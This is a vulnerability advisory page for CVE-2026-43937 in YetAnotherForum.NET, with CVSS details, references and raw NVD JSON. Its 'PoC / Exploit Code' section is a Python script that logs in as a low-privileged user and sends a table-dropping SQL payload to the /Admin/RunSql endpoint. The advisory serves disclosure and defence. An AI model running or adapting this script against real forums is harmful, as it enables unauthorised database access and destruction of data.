CVE-2026-43937

Description

YetAnotherForum.NET (YAF.NET) is a C# ASP.NET forum. Prior to 4.0.5, Any admin OnPost… handler executes its side effects before the ResultFilterAttribute rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user. This vulnerability is fixed in 4.0.5.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

YetAnotherForum.NET < 4.0.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_host = "http://example.com"
login_url = f"{target_host}/Account/Login"
exploit_url = f"{target_host}/Admin/RunSql"

# 1. Authenticate as a low-privileged user
session = requests.Session()
credentials = {
    "Username": "lowpriv_user",
    "Password": "password123"
}
session.post(login_url, data=credentials)

# 2. Prepare SQL Injection Payload
# The vulnerable parameter is 'Editor' in the POST body
sql_payload = "SELECT @@version; DROP TABLE Users;--"

# 3. Send Exploit Request
# The vulnerability triggers before the 302 redirect logic
payload_data = {
    "Editor": sql_payload
}

response = session.post(exploit_url, data=payload_data)

if response.status_code == 200:
    print("[+] Request sent successfully.")
    print(f"[+] Response: {response.text[:200]}")
else:
    print("[-] Failed to send request.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43937
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43937
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43937/
[4] VulDB https://vuldb.com/cve/CVE-2026-43937
[5] https://github.com/YAFNET/YAFNET/security/advisories/GHSA-xhw7-j96h-c3g5
[6] https://github.com/YAFNET/YAFNET/security/advisories/GHSA-xhw7-j96h-c3g5

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43937", "sourceIdentifier": "[email protected]", "published": "2026-05-12T15:16:15.327", "lastModified": "2026-05-13T18:24:58.737", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "YetAnotherForum.NET (YAF.NET) is a C# ASP.NET forum. Prior to 4.0.5, Any admin OnPost… handler executes its side effects before the ResultFilterAttribute rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user. This vulnerability is fixed in 4.0.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}, {"lang": "en", "value": "CWE-841"}]}], "references": [{"url": "https://github.com/YAFNET/YAFNET/security/advisories/GHSA-xhw7-j96h-c3g5", "source": "[email protected]"}, {"url": "https://github.com/YAFNET/YAFNET/security/advisories/GHSA-xhw7-j96h-c3g5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}